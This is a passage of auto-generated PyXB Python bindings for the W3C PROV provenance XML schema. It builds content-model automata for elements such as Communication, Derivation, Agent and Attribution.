location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2))) def _BuildAutomaton_6 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_6 del _BuildAutomaton_6 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 116, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 117, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 118, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 119, 6)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 120, 6)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 121, 6)) counters.add(cc_5) cc_6 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 122, 6)) counters.add(cc_6) states = [] final_update = set() symbol = pyxb.binding.content.ElementUse(Invalidation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'entity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 115, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Invalidation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'activity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 116, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Invalidation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'time')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 117, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Invalidation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 118, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Invalidation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 119, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Invalidation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'role')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 120, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.ElementUse(Invalidation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 121, 6)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_6, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 122, 6)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) transitions = [] transitions.append(fac.Transition(st_1, [ ])) transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_5, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_6, True) ])) st_7._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Invalidation._Automaton = _BuildAutomaton_6() Communication._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'informed'), IDRef, scope=Communication, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 130, 6))) Communication._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'informant'), IDRef, scope=Communication, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 131, 6))) Communication._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Communication, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Communication._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Communication, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) def _BuildAutomaton_7 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_7 del _BuildAutomaton_7 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 132, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 133, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 134, 6)) counters.add(cc_2) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Communication._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'informed')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 130, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Communication._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'informant')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 131, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Communication._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 132, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Communication._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 133, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 134, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, True) ])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Communication._Automaton = _BuildAutomaton_7() Derivation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'generatedEntity'), IDRef, scope=Derivation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 144, 6))) Derivation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'usedEntity'), IDRef, scope=Derivation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 145, 6))) Derivation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'activity'), IDRef, scope=Derivation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 146, 6))) Derivation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'generation'), IDRef, scope=Derivation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 147, 6))) Derivation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'usage'), IDRef, scope=Derivation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 148, 6))) Derivation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Derivation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Derivation._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Derivation, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) def _BuildAutomaton_8 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_8 del _BuildAutomaton_8 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 146, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 147, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 148, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 149, 6)) counters.add(cc_3) cc_4 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 150, 6)) counters.add(cc_4) cc_5 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 151, 6)) counters.add(cc_5) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Derivation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'generatedEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 144, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Derivation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'usedEntity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 145, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Derivation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'activity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 146, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Derivation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'generation')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 147, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Derivation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'usage')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 148, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.ElementUse(Derivation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 149, 6)) st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_5) final_update = set() final_update.add(fac.UpdateInstruction(cc_4, False)) symbol = pyxb.binding.content.ElementUse(Derivation._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 150, 6)) st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_6) final_update = set() final_update.add(fac.UpdateInstruction(cc_5, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 151, 6)) st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_7) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) transitions.append(fac.Transition(st_5, [ ])) transitions.append(fac.Transition(st_6, [ ])) transitions.append(fac.Transition(st_7, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_0, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_1, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_2, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_2, False) ])) st_4._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_5, [ fac.UpdateInstruction(cc_3, True) ])) transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_3, False) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_3, False) ])) st_5._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_6, [ fac.UpdateInstruction(cc_4, True) ])) transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_4, False) ])) st_6._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_7, [ fac.UpdateInstruction(cc_5, True) ])) st_7._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Derivation._Automaton = _BuildAutomaton_8() Agent._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Agent, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Agent._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Agent, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) Agent._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'location'), Location, scope=Agent, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 424, 2))) def _BuildAutomaton_9 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_9 del _BuildAutomaton_9 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 182, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 183, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 184, 6)) counters.add(cc_2) cc_3 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 185, 6)) counters.add(cc_3) states = [] final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Agent._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 182, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Agent._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'location')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 183, 6)) st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.ElementUse(Agent._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 184, 6)) st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_3, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 185, 6)) st_3 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_3) transitions = [] transitions.append(fac.Transition(st_0, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_1, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_1, False) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, False) ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_2, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_2, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_3, True) ])) st_3._set_transitionSet(transitions) return fac.Automaton(states, counters, True, containing_state=None) Agent._Automaton = _BuildAutomaton_9() Attribution._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'entity'), IDRef, scope=Attribution, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 213, 6))) Attribution._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'agent'), IDRef, scope=Attribution, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 214, 6))) Attribution._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'label'), InternationalizedString, scope=Attribution, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 421, 2))) Attribution._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'type'), Type, scope=Attribution, location=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 423, 2))) def _BuildAutomaton_10 (): # Remove this helper function from the namespace after it is invoked global _BuildAutomaton_10 del _BuildAutomaton_10 import pyxb.utils.fac as fac counters = set() cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 215, 6)) counters.add(cc_0) cc_1 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 216, 6)) counters.add(cc_1) cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 217, 6)) counters.add(cc_2) states = [] final_update = None symbol = pyxb.binding.content.ElementUse(Attribution._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'entity')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 213, 6)) st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False) states.append(st_0) final_update = set() symbol = pyxb.binding.content.ElementUse(Attribution._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'agent')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 214, 6)) st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_1) final_update = set() final_update.add(fac.UpdateInstruction(cc_0, False)) symbol = pyxb.binding.content.ElementUse(Attribution._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'label')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 215, 6)) st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_2) final_update = set() final_update.add(fac.UpdateInstruction(cc_1, False)) symbol = pyxb.binding.content.ElementUse(Attribution._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'type')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 216, 6)) st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_3) final_update = set() final_update.add(fac.UpdateInstruction(cc_2, False)) symbol = pyxb.binding.content.WildcardUse(pyxb.binding.content.Wildcard(process_contents=pyxb.binding.content.Wildcard.PC_strict, namespace_constraint=(pyxb.binding.content.Wildcard.NC_not, 'http://www.w3.org/ns/prov#')), pyxb.utils.utility.Location('/private/tmp/xsdpython/PyXB-1.2.6/prov-20130307.xsd', 217, 6)) st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False) states.append(st_4) transitions = [] transitions.append(fac.Transition(st_1, [ ])) st_0._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ ])) transitions.append(fac.Transition(st_3, [ ])) transitions.append(fac.Transition(st_4, [ ])) st_1._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_2, [ fac.UpdateInstruction(cc_0, True) ])) transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_0, False) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_0, False) ])) st_2._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_3, [ fac.UpdateInstruction(cc_1, True) ])) transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_1, False) ])) st_3._set_transitionSet(transitions) transitions = [] transitions.append(fac.Transition(st_4, [ fac.UpdateInstruction(cc_2, True) ])) st_4._set_transitionSet(transitions) return fac.Automaton(states, counters, False, containing_state=None) Attribution._Automaton = 